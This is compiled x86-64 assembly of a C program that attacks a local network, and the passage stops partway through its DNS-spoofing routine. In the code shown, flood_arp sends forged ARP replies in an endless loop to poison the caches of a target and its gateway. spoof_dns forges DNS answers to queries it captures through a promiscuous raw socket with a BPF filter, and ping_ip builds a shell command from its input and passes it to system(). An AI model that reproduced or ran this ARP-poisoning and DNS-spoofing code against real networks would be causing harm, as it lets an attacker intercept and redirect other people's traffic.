	.file	"56047.c"
	.intel_syntax noprefix
	.text
	.globl	dns_filter
	.data
	.align 32
	.type	dns_filter, @object
	.size	dns_filter, 320
dns_filter:
	.value	40
	.byte	0
	.byte	0
	.long	12
	.value	21
	.byte	0
	.byte	22
	.long	34525
	.value	32
	.byte	0
	.byte	0
	.long	22
	.value	21
	.byte	0
	.byte	6
	.long	0
	.value	32
	.byte	0
	.byte	0
	.long	26
	.value	21
	.byte	0
	.byte	4
	.long	0
	.value	32
	.byte	0
	.byte	0
	.long	30
	.value	21
	.byte	0
	.byte	2
	.long	0
	.value	32
	.byte	0
	.byte	0
	.long	34
	.value	21
	.byte	29
	.byte	0
	.long	1
	.value	32
	.byte	0
	.byte	0
	.long	38
	.value	21
	.byte	0
	.byte	6
	.long	0
	.value	32
	.byte	0
	.byte	0
	.long	42
	.value	21
	.byte	0
	.byte	4
	.long	0
	.value	32
	.byte	0
	.byte	0
	.long	46
	.value	21
	.byte	0
	.byte	2
	.long	0
	.value	32
	.byte	0
	.byte	0
	.long	50
	.value	21
	.byte	21
	.byte	0
	.long	1
	.value	48
	.byte	0
	.byte	0
	.long	20
	.value	21
	.byte	0
	.byte	19
	.long	17
	.value	40
	.byte	0
	.byte	0
	.long	54
	.value	21
	.byte	16
	.byte	0
	.long	53
	.value	40
	.byte	0
	.byte	0
	.long	56
	.value	21
	.byte	14
	.byte	15
	.long	53
	.value	21
	.byte	0
	.byte	14
	.long	2048
	.value	32
	.byte	0
	.byte	0
	.long	26
	.value	21
	.byte	12
	.byte	0
	.long	2130706433
	.value	32
	.byte	0
	.byte	0
	.long	30
	.value	21
	.byte	10
	.byte	0
	.long	2130706433
	.value	48
	.byte	0
	.byte	0
	.long	23
	.value	21
	.byte	0
	.byte	8
	.long	17
	.value	40
	.byte	0
	.byte	0
	.long	20
	.value	69
	.byte	6
	.byte	0
	.long	8191
	.value	177
	.byte	0
	.byte	0
	.long	14
	.value	72
	.byte	0
	.byte	0
	.long	14
	.value	21
	.byte	2
	.byte	0
	.long	53
	.value	72
	.byte	0
	.byte	0
	.long	16
	.value	21
	.byte	0
	.byte	1
	.long	53
	.value	6
	.byte	0
	.byte	0
	.long	262144
	.value	6
	.byte	0
	.byte	0
	.long	0
	.globl	port_filter
	.section	.data.rel.local,"aw"
	.align 16
	.type	port_filter, @object
	.size	port_filter, 16
port_filter:
	.value	40
	.zero	6
	.quad	dns_filter
	.globl	local_mac
	.bss
	.type	local_mac, @object
	.size	local_mac, 6
local_mac:
	.zero	6
	.globl	local_interface_index
	.align 4
	.type	local_interface_index, @object
	.size	local_interface_index, 4
local_interface_index:
	.zero	4
	.globl	gateway_mac
	.type	gateway_mac, @object
	.size	gateway_mac, 6
gateway_mac:
	.zero	6
	.globl	target_mac
	.type	target_mac, @object
	.size	target_mac, 6
target_mac:
	.zero	6
	.globl	local_ip
	.align 4
	.type	local_ip, @object
	.size	local_ip, 4
local_ip:
	.zero	4
	.globl	local_ip_6
	.align 16
	.type	local_ip_6, @object
	.size	local_ip_6, 16
local_ip_6:
	.zero	16
	.globl	gateway_ip
	.align 4
	.type	gateway_ip, @object
	.size	gateway_ip, 4
gateway_ip:
	.zero	4
	.globl	target_ip
	.align 4
	.type	target_ip, @object
	.size	target_ip, 4
target_ip:
	.zero	4
	.section	.rodata
.LC0:
	.string	"ioctl local mac"
.LC1:
	.string	"Local mac address is: "
.LC2:
	.string	"%02x"
.LC3:
	.string	"ioctl local ip"
.LC4:
	.string	"Local IP address is: %08x\n"
	.align 8
.LC5:
	.string	"Local interface index is: %08x\n"
.LC6:
	.string	"r"
.LC7:
	.string	"/proc/net/if_inet6"
.LC8:
	.string	"/proc/net/if_inet6 open"
.LC9:
	.string	"enp0s31f6"
	.align 8
.LC10:
	.string	" %2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx %*x %x %x %*x %s"
.LC11:
	.string	"Local IPv6 address: "
	.text
	.globl	get_local_mac
	.type	get_local_mac, @function
get_local_mac:
.LFB36:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 368
	mov	DWORD PTR -356[rbp], edi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, -320[rbp]
	mov	edx, 40
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	lea	rax, -320[rbp]
	movabs	rcx, 7363723435554401893
	mov	QWORD PTR [rax], rcx
	mov	WORD PTR 8[rax], 54
	lea	rdx, -320[rbp]
	mov	eax, DWORD PTR -356[rbp]
	mov	esi, 35111
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	test	eax, eax
	je	.L2
	lea	rdi, .LC0[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L2:
	mov	eax, DWORD PTR -302[rbp]
	mov	DWORD PTR local_mac[rip], eax
	movzx	eax, WORD PTR -298[rbp]
	mov	WORD PTR local_mac[rip+4], ax
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	printf@PLT
	mov	DWORD PTR -336[rbp], 0
	jmp	.L3
.L4:
	mov	eax, DWORD PTR -336[rbp]
	cdqe
	movzx	eax, BYTE PTR -302[rbp+rax]
	movzx	eax, al
	mov	esi, eax
	lea	rdi, .LC2[rip]
	mov	eax, 0
	call	printf@PLT
	add	DWORD PTR -336[rbp], 1
.L3:
	cmp	DWORD PTR -336[rbp], 5
	jle	.L4
	mov	edi, 10
	call	putchar@PLT
	lea	rdx, -320[rbp]
	mov	eax, DWORD PTR -356[rbp]
	mov	esi, 35093
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	test	eax, eax
	je	.L5
	lea	rdi, .LC3[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L5:
	lea	rax, -320[rbp]
	add	rax, 16
	add	rax, 4
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR local_ip[rip], eax
	mov	eax, DWORD PTR local_ip[rip]
	mov	esi, eax
	lea	rdi, .LC4[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdx, -320[rbp]
	mov	eax, DWORD PTR -356[rbp]
	mov	esi, 35123
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	test	eax, eax
	je	.L6
	lea	rdi, .LC3[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L6:
	mov	eax, DWORD PTR -304[rbp]
	mov	DWORD PTR local_interface_index[rip], eax
	mov	eax, DWORD PTR local_interface_index[rip]
	mov	esi, eax
	lea	rdi, .LC5[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rsi, .LC6[rip]
	lea	rdi, .LC7[rip]
	call	fopen@PLT
	mov	QWORD PTR -328[rbp], rax
	cmp	QWORD PTR -328[rbp], 0
	jne	.L8
	lea	rdi, .LC8[rip]
	call	perror@PLT
	mov	edi, 1
	call	exit@PLT
.L11:
	lea	rax, -272[rbp]
	mov	rsi, rax
	lea	rdi, .LC9[rip]
	call	strcmp@PLT
	test	eax, eax
	je	.L15
	nop
.L8:
	mov	rax, QWORD PTR -328[rbp]
	sub	rsp, 8
	lea	rdx, -272[rbp]
	push	rdx
	lea	rdx, -340[rbp]
	push	rdx
	lea	rdx, -344[rbp]
	push	rdx
	lea	rdx, local_ip_6[rip+15]
	push	rdx
	lea	rdx, local_ip_6[rip+14]
	push	rdx
	lea	rdx, local_ip_6[rip+13]
	push	rdx
	lea	rdx, local_ip_6[rip+12]
	push	rdx
	lea	rdx, local_ip_6[rip+11]
	push	rdx
	lea	rdx, local_ip_6[rip+10]
	push	rdx
	lea	rdx, local_ip_6[rip+9]
	push	rdx
	lea	rdx, local_ip_6[rip+8]
	push	rdx
	lea	rdx, local_ip_6[rip+7]
	push	rdx
	lea	rdx, local_ip_6[rip+6]
	push	rdx
	lea	rdx, local_ip_6[rip+5]
	push	rdx
	lea	rdx, local_ip_6[rip+4]
	push	rdx
	lea	r9, local_ip_6[rip+3]
	lea	r8, local_ip_6[rip+2]
	lea	rcx, local_ip_6[rip+1]
	lea	rdx, local_ip_6[rip]
	lea	rsi, .LC10[rip]
	mov	rdi, rax
	mov	eax, 0
	call	__isoc99_fscanf@PLT
	sub	rsp, -128
	cmp	eax, 19
	je	.L11
	jmp	.L10
.L15:
	nop
.L10:
	mov	rax, QWORD PTR -328[rbp]
	mov	rdi, rax
	call	fclose@PLT
	lea	rdi, .LC11[rip]
	mov	eax, 0
	call	printf@PLT
	mov	DWORD PTR -332[rbp], 0
	jmp	.L12
.L13:
	mov	eax, DWORD PTR -332[rbp]
	cdqe
	lea	rdx, local_ip_6[rip]
	movzx	eax, BYTE PTR [rax+rdx]
	movzx	eax, al
	mov	esi, eax
	lea	rdi, .LC2[rip]
	mov	eax, 0
	call	printf@PLT
	add	DWORD PTR -332[rbp], 1
.L12:
	cmp	DWORD PTR -332[rbp], 15
	jle	.L13
	mov	edi, 10
	call	putchar@PLT
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L14
	call	__stack_chk_fail@PLT
.L14:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE36:
	.size	get_local_mac, .-get_local_mac
	.section	.rodata
	.align 8
.LC12:
	.string	"ping -c 1 %s > /dev/null 2> /dev/null"
	.text
	.globl	ping_ip
	.type	ping_ip, @function
ping_ip:
.LFB37:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 224
	mov	QWORD PTR -216[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, -208[rbp]
	mov	edx, 200
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	rdx, QWORD PTR -216[rbp]
	lea	rax, -208[rbp]
	mov	rcx, rdx
	lea	rdx, .LC12[rip]
	mov	esi, 199
	mov	rdi, rax
	mov	eax, 0
	call	snprintf@PLT
	lea	rax, -208[rbp]
	mov	rdi, rax
	call	system@PLT
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L17
	call	__stack_chk_fail@PLT
.L17:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE37:
	.size	ping_ip, .-ping_ip
	.section	.rodata
.LC13:
	.string	"%u.%u.%u.%u"
	.text
	.globl	convert_ip_to_int
	.type	convert_ip_to_int, @function
convert_ip_to_int:
.LFB38:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	QWORD PTR -40[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rdi, -12[rbp]
	lea	rsi, -16[rbp]
	lea	rcx, -20[rbp]
	lea	rdx, -24[rbp]
	mov	rax, QWORD PTR -40[rbp]
	mov	r9, rdi
	mov	r8, rsi
	lea	rsi, .LC13[rip]
	mov	rdi, rax
	mov	eax, 0
	call	__isoc99_sscanf@PLT
	mov	eax, DWORD PTR -20[rbp]
	sal	eax, 8
	mov	edx, eax
	mov	eax, DWORD PTR -24[rbp]
	or	edx, eax
	mov	eax, DWORD PTR -16[rbp]
	sal	eax, 16
	or	edx, eax
	mov	eax, DWORD PTR -12[rbp]
	sal	eax, 24
	or	eax, edx
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L20
	call	__stack_chk_fail@PLT
.L20:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE38:
	.size	convert_ip_to_int, .-convert_ip_to_int
	.globl	get_mac_from_ip
	.type	get_mac_from_ip, @function
get_mac_from_ip:
.LFB39:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	lea	r11, -65536[rsp]
.LPSRL0:
	sub	rsp, 4096
	or	DWORD PTR [rsp], 0
	cmp	rsp, r11
	jne	.LPSRL0
	sub	rsp, 80
	mov	DWORD PTR -65588[rbp], edi
	mov	QWORD PTR -65600[rbp], rsi
	mov	QWORD PTR -65608[rbp], rdx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	call	fork@PLT
	test	eax, eax
	jne	.L22
	mov	rax, QWORD PTR -65600[rbp]
	mov	rdi, rax
	call	ping_ip
	mov	edi, 0
	call	exit@PLT
.L22:
	lea	rax, -65552[rbp]
	mov	QWORD PTR -65568[rbp], rax
	lea	rax, -65552[rbp]
	add	rax, 14
	mov	QWORD PTR -65560[rbp], rax
	mov	rax, QWORD PTR -65600[rbp]
	mov	rdi, rax
	call	convert_ip_to_int
	mov	DWORD PTR -65576[rbp], eax
	jmp	.L23
.L26:
	cmp	DWORD PTR -65572[rbp], 39
	jg	.L24
	jmp	.L23
.L24:
	mov	rax, QWORD PTR -65560[rbp]
	mov	eax, DWORD PTR 16[rax]
	cmp	DWORD PTR -65576[rbp], eax
	jne	.L23
	mov	rcx, QWORD PTR -65568[rbp]
	mov	rax, QWORD PTR -65608[rbp]
	mov	edx, 6
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	mov	eax, 0
	jmp	.L27
.L23:
	lea	rcx, -65552[rbp]
	mov	eax, DWORD PTR -65588[rbp]
	mov	edx, 65535
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	mov	DWORD PTR -65572[rbp], eax
	cmp	DWORD PTR -65572[rbp], 0
	jg	.L26
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	neg	eax
.L27:
	mov	rdx, QWORD PTR -8[rbp]
	sub	rdx, QWORD PTR fs:40
	je	.L28
	call	__stack_chk_fail@PLT
.L28:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE39:
	.size	get_mac_from_ip, .-get_mac_from_ip
	.globl	create_packet_socket
	.type	create_packet_socket, @function
create_packet_socket:
.LFB40:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 64
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	edi, 3
	call	htons@PLT
	movzx	eax, ax
	mov	edx, eax
	mov	esi, 3
	mov	edi, 17
	call	socket@PLT
	mov	DWORD PTR -52[rbp], eax
	lea	rax, -48[rbp]
	mov	edx, 15
	lea	rsi, .LC9[rip]
	mov	rdi, rax
	call	strncpy@PLT
	lea	rdx, -48[rbp]
	mov	eax, DWORD PTR -52[rbp]
	mov	esi, 35091
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	movzx	eax, WORD PTR -32[rbp]
	or	ah, 1
	mov	WORD PTR -32[rbp], ax
	lea	rdx, -48[rbp]
	mov	eax, DWORD PTR -52[rbp]
	mov	esi, 35092
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	mov	eax, DWORD PTR -52[rbp]
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L31
	call	__stack_chk_fail@PLT
.L31:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE40:
	.size	create_packet_socket, .-create_packet_socket
	.globl	flood_arp
	.type	flood_arp, @function
flood_arp:
.LFB41:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 160
	mov	QWORD PTR -152[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -152[rbp]
	mov	QWORD PTR -128[rbp], rax
	mov	rax, QWORD PTR -128[rbp]
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR -132[rbp], eax
	mov	rax, QWORD PTR -128[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR -120[rbp], rax
	mov	rax, QWORD PTR -128[rbp]
	mov	eax, DWORD PTR 16[rax]
	mov	DWORD PTR -136[rbp], eax
	lea	rax, -64[rbp]
	mov	edx, 56
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	lea	rax, -64[rbp]
	mov	QWORD PTR -112[rbp], rax
	lea	rax, -64[rbp]
	add	rax, 14
	mov	QWORD PTR -104[rbp], rax
	mov	rax, QWORD PTR -112[rbp]
	mov	rcx, QWORD PTR -120[rbp]
	mov	edx, 6
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	mov	rax, QWORD PTR -112[rbp]
	add	rax, 6
	mov	edx, DWORD PTR local_mac[rip]
	mov	DWORD PTR [rax], edx
	movzx	edx, WORD PTR local_mac[rip+4]
	mov	WORD PTR 4[rax], dx
	mov	edi, 2054
	call	htons@PLT
	mov	rdx, QWORD PTR -112[rbp]
	mov	WORD PTR 12[rdx], ax
	mov	edi, 1
	call	htons@PLT
	mov	rdx, QWORD PTR -104[rbp]
	mov	WORD PTR [rdx], ax
	mov	edi, 2048
	call	htons@PLT
	mov	rdx, QWORD PTR -104[rbp]
	mov	WORD PTR 2[rdx], ax
	mov	rax, QWORD PTR -104[rbp]
	mov	BYTE PTR 4[rax], 6
	mov	rax, QWORD PTR -104[rbp]
	mov	BYTE PTR 5[rax], 4
	mov	edi, 2
	call	htons@PLT
	mov	rdx, QWORD PTR -104[rbp]
	mov	WORD PTR 6[rdx], ax
	mov	rax, QWORD PTR -104[rbp]
	add	rax, 8
	mov	edx, DWORD PTR local_mac[rip]
	mov	DWORD PTR [rax], edx
	movzx	edx, WORD PTR local_mac[rip+4]
	mov	WORD PTR 4[rax], dx
	mov	edx, DWORD PTR -136[rbp]
	mov	eax, DWORD PTR gateway_ip[rip]
	cmp	edx, eax
	jne	.L33
	lea	rax, target_ip[rip]
	jmp	.L34
.L33:
	lea	rax, gateway_ip[rip]
.L34:
	mov	rdx, QWORD PTR -104[rbp]
	add	rdx, 14
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR [rdx], eax
	mov	rax, QWORD PTR -104[rbp]
	lea	rcx, 18[rax]
	mov	rax, QWORD PTR -120[rbp]
	mov	edx, 6
	mov	rsi, rax
	mov	rdi, rcx
	call	memcpy@PLT
	mov	rax, QWORD PTR -104[rbp]
	lea	rdx, 24[rax]
	mov	eax, DWORD PTR -136[rbp]
	mov	DWORD PTR [rdx], eax
	mov	QWORD PTR -96[rbp], 0
	mov	QWORD PTR -88[rbp], 0
	mov	DWORD PTR -80[rbp], 0
	mov	WORD PTR -96[rbp], 17
	mov	eax, DWORD PTR local_interface_index[rip]
	mov	DWORD PTR -92[rbp], eax
	mov	BYTE PTR -85[rbp], 6
	mov	edi, 2054
	call	htons@PLT
	mov	WORD PTR -94[rbp], ax
	mov	rax, QWORD PTR -120[rbp]
	lea	rdx, -96[rbp]
	lea	rcx, 12[rdx]
	mov	edx, 6
	mov	rsi, rax
	mov	rdi, rcx
	call	memcpy@PLT
.L35:
	lea	rdx, -96[rbp]
	lea	rsi, -64[rbp]
	mov	eax, DWORD PTR -132[rbp]
	mov	r9d, 20
	mov	r8, rdx
	mov	ecx, 0
	mov	edx, 42
	mov	edi, eax
	call	sendto@PLT
	mov	edi, 1
	call	sleep@PLT
	jmp	.L35
	.cfi_endproc
.LFE41:
	.size	flood_arp, .-flood_arp
	.section	.rodata
.LC14:
	.string	"Spoofed dns response"
.LC15:
	.string	"dns read"
	.text
	.globl	spoof_dns
	.type	spoof_dns, @function
spoof_dns:
.LFB45:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 1168
	mov	DWORD PTR -1156[rbp], edi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, -1040[rbp]
	mov	QWORD PTR -1136[rbp], rax
	lea	rax, -1040[rbp]
	add	rax, 14
	mov	QWORD PTR -1128[rbp], rax
	lea	rax, -1040[rbp]
	add	rax, 34
	mov	QWORD PTR -1120[rbp], rax
	lea	rax, -1040[rbp]
	add	rax, 42
	mov	QWORD PTR -1112[rbp], rax
	lea	rax, -528[rbp]
	mov	QWORD PTR -1104[rbp], rax
	lea	rax, -528[rbp]
	add	rax, 14
	mov	QWORD PTR -1096[rbp], rax
	lea	rax, -528[rbp]
	add	rax, 34
	mov	QWORD PTR -1088[rbp], rax
	lea	rax, -528[rbp]
	add	rax, 42
	mov	QWORD PTR -1080[rbp], rax
	lea	rax, -1040[rbp]
	mov	edx, 512
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	edi, 2048
	call	htons@PLT
	mov	rdx, QWORD PTR -1136[rbp]
	mov	WORD PTR 12[rdx], ax
	mov	rax, QWORD PTR -1136[rbp]
	add	rax, 6
	mov	edx, DWORD PTR gateway_mac[rip]
	mov	DWORD PTR [rax], edx
	movzx	edx, WORD PTR gateway_mac[rip+4]
	mov	WORD PTR 4[rax], dx
	mov	rax, QWORD PTR -1128[rbp]
	movzx	edx, BYTE PTR [rax]
	and	edx, 15
	or	edx, 64
	mov	BYTE PTR [rax], dl
	mov	rax, QWORD PTR -1128[rbp]
	movzx	edx, BYTE PTR [rax]
	and	edx, -16
	or	edx, 5
	mov	BYTE PTR [rax], dl
	mov	rax, QWORD PTR -1128[rbp]
	mov	BYTE PTR 9[rax], 17
	mov	rax, QWORD PTR -1128[rbp]
	mov	BYTE PTR 1[rax], 0
	mov	edi, 16384
	call	htons@PLT
	mov	rdx, QWORD PTR -1128[rbp]
	mov	WORD PTR 6[rdx], ax
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, 2
	mov	BYTE PTR [rax], -127
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, 3
	mov	BYTE PTR [rax], -128
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, 4
	mov	BYTE PTR [rax], 0
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, 5
	mov	BYTE PTR [rax], 1
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, 6
	mov	BYTE PTR [rax], 0
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, 7
	mov	BYTE PTR [rax], 1
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, 8
	mov	edx, 4
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	jmp	.L38
.L44:
	mov	rax, QWORD PTR -1088[rbp]
	movzx	eax, WORD PTR [rax]
	movzx	eax, ax
	mov	edi, eax
	call	ntohs@PLT
	cmp	ax, 53
	jne	.L39
	jmp	.L38
.L39:
	mov	rax, QWORD PTR -1104[rbp]
	lea	rcx, 6[rax]
	mov	rax, QWORD PTR -1136[rbp]
	mov	edx, 6
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	mov	rax, QWORD PTR -1096[rbp]
	mov	edx, DWORD PTR 16[rax]
	mov	rax, QWORD PTR -1128[rbp]
	mov	DWORD PTR 12[rax], edx
	mov	rax, QWORD PTR -1096[rbp]
	mov	edx, DWORD PTR 12[rax]
	mov	rax, QWORD PTR -1128[rbp]
	mov	DWORD PTR 16[rax], edx
	mov	rax, QWORD PTR -1096[rbp]
	movzx	eax, WORD PTR 4[rax]
	movzx	eax, ax
	mov	edi, eax
	call	ntohs@PLT
	add	eax, 1
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	rdx, QWORD PTR -1128[rbp]
	mov	WORD PTR 4[rdx], ax
	mov	rax, QWORD PTR -1096[rbp]
	movzx	edx, BYTE PTR 8[rax]
	mov	rax, QWORD PTR -1128[rbp]
	mov	BYTE PTR 8[rax], dl
	mov	rax, QWORD PTR -1088[rbp]
	movzx	edx, WORD PTR 2[rax]
	mov	rax, QWORD PTR -1120[rbp]
	mov	WORD PTR [rax], dx
	mov	rax, QWORD PTR -1088[rbp]
	movzx	edx, WORD PTR [rax]
	mov	rax, QWORD PTR -1120[rbp]
	mov	WORD PTR 2[rax], dx
	mov	rax, QWORD PTR -1080[rbp]
	movzx	edx, WORD PTR [rax]
	mov	rax, QWORD PTR -1112[rbp]
	mov	WORD PTR [rax], dx
	mov	DWORD PTR -1148[rbp], 0
	mov	DWORD PTR -1144[rbp], 0
	jmp	.L40
.L41:
	mov	eax, DWORD PTR -1148[rbp]
	lea	ecx, 12[rax]
	mov	eax, DWORD PTR -1144[rbp]
	lea	edx, 1[rax]
	mov	DWORD PTR -1144[rbp], edx
	add	eax, ecx
	movsx	rdx, eax
	mov	rax, QWORD PTR -1080[rbp]
	add	rax, rdx
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	add	DWORD PTR -1148[rbp], eax
.L40:
	mov	eax, DWORD PTR -1148[rbp]
	lea	edx, 12[rax]
	mov	eax, DWORD PTR -1144[rbp]
	add	eax, edx
	movsx	rdx, eax
	mov	rax, QWORD PTR -1080[rbp]
	add	rax, rdx
	movzx	eax, BYTE PTR [rax]
	test	al, al
	jne	.L41
	mov	eax, DWORD PTR -1144[rbp]
	add	DWORD PTR -1148[rbp], eax
	mov	eax, DWORD PTR -1148[rbp]
	cdqe
	mov	rdx, QWORD PTR -1080[rbp]
	lea	rsi, 12[rdx]
	mov	rdx, QWORD PTR -1112[rbp]
	lea	rcx, 12[rdx]
	mov	rdx, rax
	mov	rdi, rcx
	call	memcpy@PLT
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	movsx	rdx, eax
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 0
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 1[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 0
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 3[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 0
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 4[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 1
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 5[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], -64
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 6[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 12
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 7[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 0
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 9[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 0
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 10[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 1
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 11[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 0
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 12[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 0
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 13[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 28
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 14[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 32
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 15[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 0
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 2[rax]
	mov	rax, QWORD PTR -1080[rbp]
	add	rax, rdx
	movzx	eax, BYTE PTR [rax]
	cmp	al, 28
	jne	.L42
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 2[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 28
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 8[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 28
	mov	eax, DWORD PTR -1148[rbp]
	add	eax, 12
	cdqe
	lea	rdx, 16[rax]
	mov	rax, QWORD PTR -1112[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 16
	mov	eax, DWORD PTR -1148[rbp]
	cdqe
	lea	rdx, 29[rax]
	mov	rax, QWORD PTR -1112[rbp]
	lea	rcx, [rdx+rax]
